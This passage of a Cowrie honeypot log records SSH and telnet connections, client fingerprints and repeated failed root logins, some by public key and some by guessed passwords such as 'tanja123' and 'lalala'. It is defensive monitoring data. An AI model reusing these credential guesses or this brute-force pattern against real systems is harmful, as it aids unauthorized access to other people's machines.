f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:07.155284Z","src_ip":"101.36.108.213","session":"862114038206","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A@ditzu123","message":"login attempt [root/A@ditzu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:08.081542Z","src_ip":"101.36.108.213","session":"862114038206","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56722,"dst_ip":"10.17.0.5","dst_port":23,"session":"05d8acdb07db","protocol":"telnet","message":"New connection: 152.42.224.71:56722 (10.17.0.5:23) [session: 05d8acdb07db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:08.352004Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56728,"dst_ip":"10.17.0.5","dst_port":23,"session":"142083edad3b","protocol":"telnet","message":"New connection: 152.42.224.71:56728 (10.17.0.5:23) [session: 142083edad3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:09.021505Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:09.308846Z","src_ip":"101.36.108.213","session":"862114038206","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56742,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ed19480ddc2","protocol":"telnet","message":"New connection: 152.42.224.71:56742 (10.17.0.5:23) [session: 2ed19480ddc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:09.752358Z"}
{"eventid":"cowrie.session.closed","duration":7.8062145709991455,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:16.827583Z","src_ip":"152.42.224.71","session":"142083edad3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.217.16.126","src_port":24232,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ec79b5a09ef","protocol":"ssh","message":"New connection: 182.217.16.126:24232 (159.203.135.109:22) [session: 0ec79b5a09ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:17.700187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:17.705746Z","src_ip":"182.217.16.126","session":"0ec79b5a09ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:17.921749Z","src_ip":"182.217.16.126","session":"0ec79b5a09ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tanja123","message":"login attempt [root/tanja123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:18.811533Z","src_ip":"182.217.16.126","session":"0ec79b5a09ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.454843282699585,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:18.976436Z","src_ip":"152.42.224.71","session":"28eee1145d23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.2.243","src_port":60680,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f7529b3fafa","protocol":"ssh","message":"New connection: 108.181.2.243:60680 (10.17.0.5:22) [session: 7f7529b3fafa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:19.062011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:19.067178Z","src_ip":"108.181.2.243","session":"7f7529b3fafa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:19.137024Z","src_ip":"108.181.2.243","session":"7f7529b3fafa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:90:f8:1c:9f:3b:eb:4d:0c:7f:cc:0a:14:24:f2:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/jm2tWfQZYz9VUl4udD8VvHinG8eOhA2WMhACkbfVU9zpik8RRYDqcnV/SeRrs3QWYYAyfQMsC71ZWlHh04Hx7Jk3iiyexujqT3od0Le9TrYRIJAGJTIBKw4NWlpwFOcWsTn2lHAGslLTruWyL5oudy6ipGH76Ow0d3NYZxT5vo1QiPKrtyIw6yOSBF2Yl7ykA1Spcr2Ft4WCWsLkUPrtCLF96cF1JX5VNhcXDGt6zXoqEyeZMTA8DYh+Tx1JkMsNogGD0eMqtmhAeSMuxQrpHiEx/0BbK1Asv+2URCMKMbpCdi0CuVSAUgQJ3cawxhonseQxginZ29ExlIh1OoCr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:90:f8:1c:9f:3b:eb:4d:0c:7f:cc:0a:14:24:f2:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:19.458967Z","src_ip":"108.181.2.243","session":"7f7529b3fafa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:90:f8:1c:9f:3b:eb:4d:0c:7f:cc:0a:14:24:f2:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/jm2tWfQZYz9VUl4udD8VvHinG8eOhA2WMhACkbfVU9zpik8RRYDqcnV/SeRrs3QWYYAyfQMsC71ZWlHh04Hx7Jk3iiyexujqT3od0Le9TrYRIJAGJTIBKw4NWlpwFOcWsTn2lHAGslLTruWyL5oudy6ipGH76Ow0d3NYZxT5vo1QiPKrtyIw6yOSBF2Yl7ykA1Spcr2Ft4WCWsLkUPrtCLF96cF1JX5VNhcXDGt6zXoqEyeZMTA8DYh+Tx1JkMsNogGD0eMqtmhAeSMuxQrpHiEx/0BbK1Asv+2URCMKMbpCdi0CuVSAUgQJ3cawxhonseQxginZ29ExlIh1OoCr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:19.462948Z","src_ip":"108.181.2.243","session":"7f7529b3fafa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:22:3a:2b:6e:12:e2:37:e6:7e:d2:02:7b:1d:b3:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDU7Zc6x98MBSeJx4u2U0BNO48bx+MRDZH/k42+FwRZKf9IlQJI2FXkmhYqNyIDBrc9RulmCUh7PjVdrTeMkUbWUGV9ecqcBXE0iH62pu1zQk6j4iGNFEWFlsf+hdjnDVqpPQw4O5h07AWI7vu28gZr5cf3dWUxQTiu6vMRTMIFR7Q0F64O6/zu1BTlD8GA1cFNFYh7hFPI4GS716ZMK3wAKNPGnx+CS79zMUJ4YH8qO4o6FTwI3vDufn2rR/xb7ORqqOgt9Ms1LYWwAnefR2A7YDNk+pvidevRRKBfBJWNmJD9BVZJXjiBQiCnUPuvD/MtrbmrXeA/HP9N7o8gF3eiMMvVH74XPJjVXnihRF4P9ScLnAgOVvxx9pa/f+hM7uBDmd9vZBB2i7iqygsrxZEIUtcdEy3CbEtGSC6SnA59Q7niENbbNED21OuPOv3iw+baa04wsrLKE46Qj85BY5IEuvWE5E6sZyD9SodN8Osy5q8vkjvelHmokNQXlQjB9jE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:22:3a:2b:6e:12:e2:37:e6:7e:d2:02:7b:1d:b3:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:19.531691Z","src_ip":"108.181.2.243","session":"7f7529b3fafa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:22:3a:2b:6e:12:e2:37:e6:7e:d2:02:7b:1d:b3:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDU7Zc6x98MBSeJx4u2U0BNO48bx+MRDZH/k42+FwRZKf9IlQJI2FXkmhYqNyIDBrc9RulmCUh7PjVdrTeMkUbWUGV9ecqcBXE0iH62pu1zQk6j4iGNFEWFlsf+hdjnDVqpPQw4O5h07AWI7vu28gZr5cf3dWUxQTiu6vMRTMIFR7Q0F64O6/zu1BTlD8GA1cFNFYh7hFPI4GS716ZMK3wAKNPGnx+CS79zMUJ4YH8qO4o6FTwI3vDufn2rR/xb7ORqqOgt9Ms1LYWwAnefR2A7YDNk+pvidevRRKBfBJWNmJD9BVZJXjiBQiCnUPuvD/MtrbmrXeA/HP9N7o8gF3eiMMvVH74XPJjVXnihRF4P9ScLnAgOVvxx9pa/f+hM7uBDmd9vZBB2i7iqygsrxZEIUtcdEy3CbEtGSC6SnA59Q7niENbbNED21OuPOv3iw+baa04wsrLKE46Qj85BY5IEuvWE5E6sZyD9SodN8Osy5q8vkjvelHmokNQXlQjB9jE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:19.536626Z","src_ip":"108.181.2.243","session":"7f7529b3fafa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:fa:fe:62:ea:6d:3f:ee:23:41:38:38:11:69:3c:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi0495j5NBmzYgrYd1kRhITiZJKE8xTi5086t7GDxK8KLZx959FYHL+lDVOe7Kgqk7zQm5RJd+Mbh4c34UWV7/F7xU2qsX8uFbWj2OG9S5d11z3HR3K4HyGCCTmIjaI+P4YG2GF/Bio4IRk/CAGFdvNrw/nNIvtlwXlOOtdykjKpDF4YA8DJWT1v4vKUt/nU2pPZ+b7RCmtc5/+Ka2eY6xejrC+tP1RM+ZlNc00GGMqVwN949V1LxTtbr9HxAP+sc4bOw831nl3hmlZEBW8Bmv7D+jU8TGwUP5quEf+tJkU41IB7KyvAkL+t+hwjha1p9CIbyx3ccGGrbXNggpjDynbLGL6o7Jp/t+KD62iUDisZIlo7JotZ1I1yBriuGLJMG72+CjsHmDy0Mr4yxUHXyfgMjbRzJGCnW4W+hM4s0MTRR1L2efPnVRWXTRO61yZBTX29Z7Wgj4ILGpjaED1xblOUbqLWuqTcsUIGDFcZsBMTTtu+fuJ/TALrG+X9SRNEYsX3Ai82ue/iL3Ql4wF6l5QM9uCF37UaOHdvKqgZ/BARVQEeewb/EUPz6usnkKzKqk04O2yRCUCg4ZUV35h3GD8bgbIELcpbvKVah21MWBBSq7NdKTzoKo6gWACWX8iRLAZwlQDqRWuDqqV9lRFl0+h2T9PCVx45qqCI9wpIq8Ew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:fa:fe:62:ea:6d:3f:ee:23:41:38:38:11:69:3c:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:19.609251Z","src_ip":"108.181.2.243","session":"7f7529b3fafa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:fa:fe:62:ea:6d:3f:ee:23:41:38:38:11:69:3c:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCi0495j5NBmzYgrYd1kRhITiZJKE8xTi5086t7GDxK8KLZx959FYHL+lDVOe7Kgqk7zQm5RJd+Mbh4c34UWV7/F7xU2qsX8uFbWj2OG9S5d11z3HR3K4HyGCCTmIjaI+P4YG2GF/Bio4IRk/CAGFdvNrw/nNIvtlwXlOOtdykjKpDF4YA8DJWT1v4vKUt/nU2pPZ+b7RCmtc5/+Ka2eY6xejrC+tP1RM+ZlNc00GGMqVwN949V1LxTtbr9HxAP+sc4bOw831nl3hmlZEBW8Bmv7D+jU8TGwUP5quEf+tJkU41IB7KyvAkL+t+hwjha1p9CIbyx3ccGGrbXNggpjDynbLGL6o7Jp/t+KD62iUDisZIlo7JotZ1I1yBriuGLJMG72+CjsHmDy0Mr4yxUHXyfgMjbRzJGCnW4W+hM4s0MTRR1L2efPnVRWXTRO61yZBTX29Z7Wgj4ILGpjaED1xblOUbqLWuqTcsUIGDFcZsBMTTtu+fuJ/TALrG+X9SRNEYsX3Ai82ue/iL3Ql4wF6l5QM9uCF37UaOHdvKqgZ/BARVQEeewb/EUPz6usnkKzKqk04O2yRCUCg4ZUV35h3GD8bgbIELcpbvKVah21MWBBSq7NdKTzoKo6gWACWX8iRLAZwlQDqRWuDqqV9lRFl0+h2T9PCVx45qqCI9wpIq8Ew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:19.613003Z","src_ip":"108.181.2.243","session":"7f7529b3fafa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:75:3c:fa:a1:a0:a4:b2:aa:13:ca:9d:24:16:d6:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClb1itlmVED4YQJb5tVwYshazbj5gQElVe670uKfSAhM3ina+lCZZ9Gyk22trtODawyQeEdvHQWbFzQizF22A+g3Waxb9W+ipycDWZrbXTWVjSa9t09S9LfOa5qo5WEREn/Uh83xxxpNs9W75GFY6cf8aFk/1Tc0dt7cF2dvy4wWBltRETVhW/nCU/j7GtU7iKVUXYNAR+1JJ8K2hPpFSGHdcqSEtu/CjRnUp4riyzoJ0tw8WQNASL2QsCs555WIyvgteM37dQcUuJhG3gTjd72pOQoxiu5aIs0ChZ4J4fdfUL0KqzlAR4bmui2XouX3a4PPce0tafDBfNdiChGO0B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:75:3c:fa:a1:a0:a4:b2:aa:13:ca:9d:24:16:d6:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:19.685498Z","src_ip":"108.181.2.243","session":"7f7529b3fafa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:75:3c:fa:a1:a0:a4:b2:aa:13:ca:9d:24:16:d6:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClb1itlmVED4YQJb5tVwYshazbj5gQElVe670uKfSAhM3ina+lCZZ9Gyk22trtODawyQeEdvHQWbFzQizF22A+g3Waxb9W+ipycDWZrbXTWVjSa9t09S9LfOa5qo5WEREn/Uh83xxxpNs9W75GFY6cf8aFk/1Tc0dt7cF2dvy4wWBltRETVhW/nCU/j7GtU7iKVUXYNAR+1JJ8K2hPpFSGHdcqSEtu/CjRnUp4riyzoJ0tw8WQNASL2QsCs555WIyvgteM37dQcUuJhG3gTjd72pOQoxiu5aIs0ChZ4J4fdfUL0KqzlAR4bmui2XouX3a4PPce0tafDBfNdiChGO0B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:19.689609Z","src_ip":"108.181.2.243","session":"7f7529b3fafa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:f0:57:b6:b0:d8:65:44:5f:aa:32:77:ce:c1:84:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVPOjC0TIBhWLpli9cb+q0bWQx/yDU+M4SJVKivErgQKJ81jh54KDPTX6+WRZ6XG2tIdRS3YmkcSZisuc3M3wAtoJaHqlbbx0DBJboIgLgL/S4Wb7kofGwtOnvxYifLTZRO3+PHd2cWH00lz+tQNOv1DhJ/XFuieZr13hiIdom11Pbe2ZC+vE6qIg6E/E6SBvslshAvuN1blGRCg3dzBPtIvKMr61wvF0msVaVWm9vUcMK43la2Dmr9+hjMzkAptAbh006UM8AFUln9FLAncubvJMRCPdSSQE7CMHRKcJyEWQr1wbx74VPEncxmt2XrxeuLjVTe9BarCqKvme/HYTn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:f0:57:b6:b0:d8:65:44:5f:aa:32:77:ce:c1:84:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:19.759458Z","src_ip":"108.181.2.243","session":"7f7529b3fafa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:f0:57:b6:b0:d8:65:44:5f:aa:32:77:ce:c1:84:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVPOjC0TIBhWLpli9cb+q0bWQx/yDU+M4SJVKivErgQKJ81jh54KDPTX6+WRZ6XG2tIdRS3YmkcSZisuc3M3wAtoJaHqlbbx0DBJboIgLgL/S4Wb7kofGwtOnvxYifLTZRO3+PHd2cWH00lz+tQNOv1DhJ/XFuieZr13hiIdom11Pbe2ZC+vE6qIg6E/E6SBvslshAvuN1blGRCg3dzBPtIvKMr61wvF0msVaVWm9vUcMK43la2Dmr9+hjMzkAptAbh006UM8AFUln9FLAncubvJMRCPdSSQE7CMHRKcJyEWQr1wbx74VPEncxmt2XrxeuLjVTe9BarCqKvme/HYTn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:19.763528Z","src_ip":"108.181.2.243","session":"7f7529b3fafa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:19.833905Z","src_ip":"108.181.2.243","session":"7f7529b3fafa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:20.036689Z","src_ip":"182.217.16.126","session":"0ec79b5a09ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33606,"dst_ip":"10.17.0.5","dst_port":23,"session":"77911c553e57","protocol":"telnet","message":"New connection: 152.42.224.71:33606 (10.17.0.5:23) [session: 77911c553e57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:22.592785Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33622,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa896a9ebc0e","protocol":"telnet","message":"New connection: 152.42.224.71:33622 (10.17.0.5:23) [session: fa896a9ebc0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:24.613430Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53278,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4de70ff166e","protocol":"ssh","message":"New connection: 103.153.68.219:53278 (10.17.0.5:22) [session: b4de70ff166e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:26.521451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:26.526350Z","src_ip":"103.153.68.219","session":"b4de70ff166e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:26.780285Z","src_ip":"103.153.68.219","session":"b4de70ff166e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lalala","message":"login attempt [root/lalala] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:27.535904Z","src_ip":"103.153.68.219","session":"b4de70ff166e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:28.795310Z","src_ip":"103.153.68.219","session":"b4de70ff166e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.228.151","src_port":47704,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f0683f06087","protocol":"ssh","message":"New connection: 43.134.228.151:47704 (159.203.135.109:22) [session: 8f0683f06087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:31.254829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:31.259574Z","src_ip":"43.134.228.151","session":"8f0683f06087","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47446,"dst_ip":"10.17.0.5","dst_port":23,"session":"294d67cb3b9c","protocol":"telnet","message":"New connection: 152.42.224.71:47446 (10.17.0.5:23) [session: 294d67cb3b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:09:31.377453Z"}
